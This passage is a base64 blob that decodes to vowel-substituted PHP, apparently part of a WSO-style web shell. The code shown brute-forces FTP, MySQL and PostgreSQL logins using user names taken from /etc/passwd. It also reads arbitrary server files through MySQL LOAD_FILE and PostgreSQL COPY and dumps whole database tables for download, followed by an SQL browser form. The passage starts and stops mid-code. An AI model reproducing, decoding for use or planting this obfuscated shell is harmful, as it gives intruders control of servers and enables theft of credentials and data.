JDF0dDVtcHRzOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCBicjN0NUYycmM1KCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRfUE9TVFsnbDJnNG4nXSwgJGw0bjUpICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHMzY2M1c3MrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2wyZzRuJ10pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkbDRuNSkuJzxicj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA1Y2gyICI8c3Axbj4mI29lNnU7JiNvZTY4OyYjb2VvdTsmI29lNjg7JiNvZW91OyYjb2U2Nzs6PC9zcDFuPiAkMXR0NW1wdHMgPHNwMW4+JiNvZWFlOyYjb2VvaTsmI29ldTg7JiNvZTY5OyYjb2VpaTsmI29pOWE7Ojwvc3Axbj4gJHMzY2M1c3M8L2Q0dj48YnI+IjsNCiAgICAgICAgfQ0KICAgICAgICA1Y2gyICc8aDY+RlRQIGJyM3Q1ZjJyYzU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48dDFibDU+PGYycm0gbTV0aDJkPXAyc3Q+PHRyPjx0ZD48c3Axbj4mI29lNjk7JiNvZXU2OyYjb2U2NjsmI29ldTk7JiNvZTYwOyYjb2U2MDs8L3NwMW4+PC90ZD4nDQogICAgICAgICAgICAgICAgLic8dGQ+PHM1bDVjdCBuMW01PXByMnQyPjwycHQ0Mm4gdjFsMzU9ZnRwPkZUUDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9bXlzcWw+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PXBnc3FsPlAyc3RncjVTcWw8LzJwdDQybj48L3M1bDVjdD48L3RkPjwvdHI+PHRyPjx0ZD4nDQogICAgICAgICAgICAgICAgLic8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4nDQogICAgICAgICAgICAgICAgLic8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWycxJ10pLiciPicNCiAgICAgICAgICAgICAgICAuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2NoMXJzNXQnXSkuJyI+Jw0KICAgICAgICAgICAgICAgIC4nPHNwMW4+UzVydjVyOnAycnQ8L3NwMW4+PC90ZD4nDQogICAgICAgICAgICAgICAgLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXM1cnY1ciB2MWwzNT0iJiNvZWk2OyYjb2VhZTsmI29laWU7JiNvZWE3OyYjb2U2NzsmI29lb3U7JiNvZTY4OyYjb2V1ODsmI29lYTY7JiNvaThlOyBJUCI+PC90ZD48L3RyPicNCiAgICAgICAgICAgICAgICAuJzx0cj48dGQ+PHNwMW4+QnIzdDUgdHlwNTwvc3Axbj48L3RkPicNCiAgICAgICAgICAgICAgICAuJzx0ZD48bDFiNWw+PDRucDN0IHR5cDU9cjFkNDIgbjFtNT10eXA1IHYxbDM1PSI2IiBjaDVjazVkPiAvNXRjL3Axc3N3ZDwvbDFiNWw+PC90ZD48L3RyPicNCiAgICAgICAgICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PGwxYjVsIHN0eWw1PSJwMWRkNG5nLWw1ZnQ6NmlweCI+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1yNXY1cnM1IHYxbDM1PTYgY2g1Y2s1ZD4gcjV2NXJzNSAobDJnNG4gLT4gbjRnMmwpPC9sMWI1bD48L3RkPjwvdHI+Jw0KICAgICAgICAgICAgICAgIC4nPHRyPjx0ZD48L3RkPjx0ZD48bDFiNWw+PDRucDN0IHR5cDU9cjFkNDIgbjFtNT10eXA1IHYxbDM1PSJhIj4gJiNvZTB1OyYjb2VvZTsmI29pOGk7JiNvaTl1OyYjb2VvbzsmI29lMDk7JiNvZTA5OyYjb2VvdTsmI29lNjk7JiNvZW83OyYjb2VpZTs8L2wxYjVsPjwvdGQ+PC90cj4nDQogICAgICAgICAgICAgICAgLic8dHI+PHRkPjwvdGQ+PHRkPjx0MWJsNSBzdHlsNT0icDFkZDRuZy1sNWZ0OjZpcHgiPjx0cj48dGQ+PHNwMW4+JiNvZXU4OyYjb2k4ZTsmI29laTc7JiNvZW91OyYjb2VhZTsmI29ldTY7JiNvZWllOyYjb2U2OTsmI29lb2E7JiNvZTYwOyYjb2U2MDs8L3NwMW4+PC90ZD4nDQogICAgICAgICAgICAgICAgLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWwyZzRuIHYxbDM1PSJyMjJ0Ij48L3RkPjwvdHI+Jw0KICAgICAgICAgICAgICAgIC4nPHRyPjx0ZD48c3Axbj4mI29lMHU7JiNvZW9lOyYjb2k4aTsmI29pOXU7JiNvZW9vOyYjb2UwOTsmI29lMDk7JiNvZW91OyYjb2U2OTsmI29lbzc7JiNvZWllOzwvc3Axbj48L3RkPicNCiAgICAgICAgICAgICAgICAuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9ZDRjdCB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Axc3N3ZC5kNGMiPjwvdGQ+PC90cj48L3QxYmw1PicNCiAgICAgICAgICAgICAgICAuJzwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvdGQ+PC90cj48L2Yycm0+PC90MWJsNT4nOw0KICAgICAgICA1Y2gyICc8L2Q0dj48YnI+JzsNCiAgICAgICAgQk9GRkYyMnQ1cigpOw0KfQ0KIA0KZjNuY3Q0Mm4gMWN0NDJuU3FsKCkgew0KICAgICAgICBjbDFzcyBEYkNsMXNzIHsNCiAgICAgICAgICAgICAgICB2MXIgJHR5cDU7DQogICAgICAgICAgICAgICAgdjFyICRsNG5rOw0KICAgICAgICAgICAgICAgIHYxciAkcjVzOw0KICAgICAgICAgICAgICAgIGYzbmN0NDJuIERiQ2wxc3MoJHR5cDUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0aDRzLT50eXA1ID0gJHR5cDU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGYzbmN0NDJuIGMybm41Y3QoJGgyc3QsICQzczVyLCAkcDFzcywgJGRibjFtNSl7DQogICAgICAgICAgICAgICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiggJHRoNHMtPmw0bmsgPSBAbXlzcWxfYzJubjVjdCgkaDJzdCwkM3M1ciwkcDFzcyx0cjM1KSApIHI1dDNybiB0cjM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGgyc3QgPSA1eHBsMmQ1KCc6JywgJGgyc3QpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCEkaDJzdFs2XSkgJGgyc3RbNl09aXVvYTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiggJHRoNHMtPmw0bmsgPSBAcGdfYzJubjVjdCgiaDJzdD17JGgyc3RbMF19IHAycnQ9eyRoMnN0WzZdfSAzczVyPSQzczVyIHAxc3N3MnJkPSRwMXNzIGRibjFtNT0kZGJuMW01IikgKSByNXQzcm4gdHIzNTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZjNuY3Q0Mm4gczVsNWN0ZGIoJGRiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoQG15c3FsX3M1bDVjdF9kYigkZGIpKXI1dDNybiB0cjM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBmM25jdDQybiBxMzVyeSgkc3RyKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVzID0gQG15c3FsX3EzNXJ5KCRzdHIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXMgPSBAcGdfcTM1cnkoJHRoNHMtPmw0bmssJHN0cik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGYzbmN0NDJuIGY1dGNoKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHI1cyA9IGYzbmNfbjNtXzFyZ3MoKT9mM25jX2c1dF8xcmcoMCk6JHRoNHMtPnI1czsNCiAgICAgICAgICAgICAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiBAbXlzcWxfZjV0Y2hfMXNzMmMoJHI1cyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMxczUgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gQHBnX2Y1dGNoXzFzczJjKCRyNXMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBmM25jdDQybiBsNHN0RGJzKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnEzNXJ5KCJTSE9XIGQxdDFiMXM1cyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCJTRUxFQ1QgZDF0bjFtNSBGUk9NIHBnX2QxdDFiMXM1IFdIRVJFIGQxdDRzdDVtcGwxdDUhPSd0JyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZjNuY3Q0Mm4gbDRzdFQxYmw1cygpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCdTSE9XIFRBQkxFUycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCJzNWw1Y3QgdDFibDVfbjFtNSBmcjJtIDRuZjJybTF0NDJuX3NjaDVtMS50MWJsNXMgd2g1cjUgdDFibDVfc2NoNW0xICE9ICc0bmYycm0xdDQybl9zY2g1bTEnIEFORCB0MWJsNV9zY2g1bTEgIT0gJ3BnX2MxdDFsMmcnIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBmM25jdDQybiA1cnIycigpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiBAbXlzcWxfNXJyMnIoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMxczUgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gQHBnX2wxc3RfNXJyMnIoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGYzbmN0NDJuIHM1dENoMXJzNXQoJHN0cikgew0KICAgICAgICAgICAgICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9zNXRfY2gxcnM1dCcpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBteXNxbF9zNXRfY2gxcnM1dCgkc3RyLCAkdGg0cy0+bDRuayk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnEzNXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBwZ19zNXRfY2w0NW50XzVuYzJkNG5nKCR0aDRzLT5sNG5rLCAkc3RyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZjNuY3Q0Mm4gbDIxZEY0bDUoJHN0cikgew0KICAgICAgICAgICAgICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5mNXRjaCgkdGg0cy0+cTM1cnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuMWRkc2wxc2g1cygkc3RyKS4iJykgMXMgZjRsNSIpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMxczUgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoIkNSRUFURSBUQUJMRSBCT0ZGYShmNGw1IHQ1eHQpO0NPUFkgQk9GRmEgRlJPTSAnIi4xZGRzbDFzaDVzKCRzdHIpLiInO3M1bDVjdCBmNGw1IGZyMm0gQk9GRmE7Iik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHI9MXJyMXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSgkND0kdGg0cy0+ZjV0Y2goKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyW10gPSAkNFsnZjRsNSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aDRzLT5xMzVyeSgnZHIycCB0MWJsNSBCT0ZGYScpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAxcnIxeSgnZjRsNSc9PjRtcGwyZDUoIlxuIiwkcikpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZjNuY3Q0Mm4gZDNtcCgkdDFibDUsICRmcCA9IGYxbHM1KSB7DQogICAgICAgICAgICAgICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcjVzID0gJHRoNHMtPnEzNXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdDFibDUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY3I1MXQ1ID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHI1cyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICRjcjUxdDVbNl0uIjtcbiI7DQogICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgJHNxbCk7IDVsczUgNWNoMigkc3FsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoJ1NFTEVDVCAqIEZST00gYCcuJHQxYmw1LidgJyk7DQogICAgICAgICAgICAgICAgICAgICRoNTFkID0gdHIzNTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSgkNHQ1bSA9ICR0aDRzLT5mNXRjaCgpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYzJsM21ucyA9IDFycjF5KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCQ0dDVtIDFzICRrPT4kdikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCR2ID09IG4zbGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICJOVUxMIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoNHNfbjNtNXI0YygkdikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICR2Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW1bJGtdID0gIiciLkBteXNxbF9yNTFsXzVzYzFwNV9zdHI0bmcoJHYpLiInIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGMybDNtbnNbXSA9ICJgIi4kay4iYCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkaDUxZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gYCcuJHQxYmw1LidgICgnLjRtcGwyZDUoIiwgIiwgJGMybDNtbnMpLiIpIFZBTFVFUyBcblx0KCIuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoNTFkID0gZjFsczU7DQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIlxuXHQsKCIuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgNGYoISRoNTFkKQ0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAiO1xuXG4iKTsgNWxzNSA1Y2gyKCI7XG5cbiIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aDRzLT5xMzVyeSgnU0VMRUNUICogRlJPTSAnLiR0MWJsNSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGMybDNtbnMgPSAxcnIxeSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkNHQ1bSAxcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW1bJGtdID0gIiciLjFkZHNsMXNoNXMoJHYpLiInIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGMybDNtbnNbXSA9ICRrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyAnLiR0MWJsNS4nICgnLjRtcGwyZDUoIiwgIiwgJGMybDNtbnMpLicpIFZBTFVFUyAoJy40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKTsnLiJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH07DQogICAgICAgICRkYiA9IG41dyBEYkNsMXNzKCRfUE9TVFsndHlwNSddKTsNCiAgICAgICAgNGYoQCRfUE9TVFsncGEnXT09J2Qyd25sMjFkJykgew0KICAgICAgICAgICAgICAgICRkYi0+YzJubjVjdCgkX1BPU1RbJ3NxbF9oMnN0J10sICRfUE9TVFsnc3FsX2wyZzRuJ10sICRfUE9TVFsnc3FsX3Axc3MnXSwgJF9QT1NUWydzcWxfYjFzNSddKTsNCiAgICAgICAgICAgICAgICAkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7DQogICAgICAgIHN3NHRjaCgkX1BPU1RbJ2NoMXJzNXQnXSkgew0KICAgICAgICAgICAgYzFzNSAiVzRuZDJ3cy02YWk2IjogJGRiLT5zNXRDaDFyczV0KCdjcDZhaTYnKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJVVEYtOCI6ICRkYi0+czV0Q2gxcnM1dCgnM3RmOCcpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgIktPSTgtUiI6ICRkYi0+czV0Q2gxcnM1dCgnazI0OHInKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJLT0k4LVUiOiAkZGItPnM1dENoMXJzNXQoJ2syNDgzJyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiY3A4ZWUiOiAkZGItPnM1dENoMXJzNXQoJ2NwOGVlJyk7IGJyNTFrOw0KCQkJYzFzNSAiVElTZWEwIjogJGRiLT5zNXRDaDFyczV0KCd0NHNlYTAnKTsgYnI1MWs7DQogICAgICAgIH0NCiAgICAgICAgNGYoNW1wdHkoJF9QT1NUWydmNGw1J10pKSB7DQogICAgICAgICAgICAyYl9zdDFydCgiMmJfZ3poMW5kbDVyIiwgdTA5ZSk7DQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PWQzbXAuc3FsIik7DQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogdDV4dC9wbDE0biIpOw0KICAgICAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGItPmQzbXAoJHYpOw0KICAgICAgICAgICAgNXg0dDsNCiAgICAgICAgfSA1bHM1NGYoJGZwID0gQGYycDVuKCRfUE9TVFsnZjRsNSddLCAndycpKSB7DQogICAgICAgICAgICBmMnI1MWNoKCRfUE9TVFsndGJsJ10gMXMgJHYpDQogICAgICAgICAgICAgICAgJGRiLT5kM21wKCR2LCAkZnApOw0KICAgICAgICAgICAgZmNsMnM1KCRmcCk7DQogICAgICAgICAgICAzbnM1dCgkX1BPU1RbJ3BhJ10pOw0KICAgICAgICB9IDVsczUNCiAgICAgICAgICAgIGQ0NSgnPHNjcjRwdD4xbDVydCgiRXJyMnIhICYjb2VpYTsmI29lNjc7JiNvZWllOyYjb2VhZTsmI29lb3U7JiNvZTY3OyYjb2VvdTsmI29lNjk7JiNvZTBlOyYjb2V1ODsmI29lNjY7JiNvZW9lOyYjb2UwdTsmI29laWE7JiNvZTZpOyYjb2VhNjsmI29lZTA7JiNvZWlhOyYjb2UwdTsmI29laTc7Iik7dzRuZDJ3Lmg0c3QycnkuYjFjaygtNik8L3NjcjRwdD4nKTsNCiAgICAgICAgfQ0KICAgICAgICBCT0ZGSDUxZDVyKCk7DQogICAgICAgIDVjaDIgIg0KPGg2PlNxbCBicjJ3czVyPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQo8ZjJybSBuMW01PSdzZicgbTV0aDJkPSdwMnN0JyAybnMzYm00dD0nZnModGg0cyk7Jz48dDFibDUgYzVsbHAxZGQ0bmc9J2EnIGM1bGxzcDFjNG5nPScwJz48dHI+DQo8dGQ+VHlwNTwvdGQ+PHRkPkgyc3Q8L3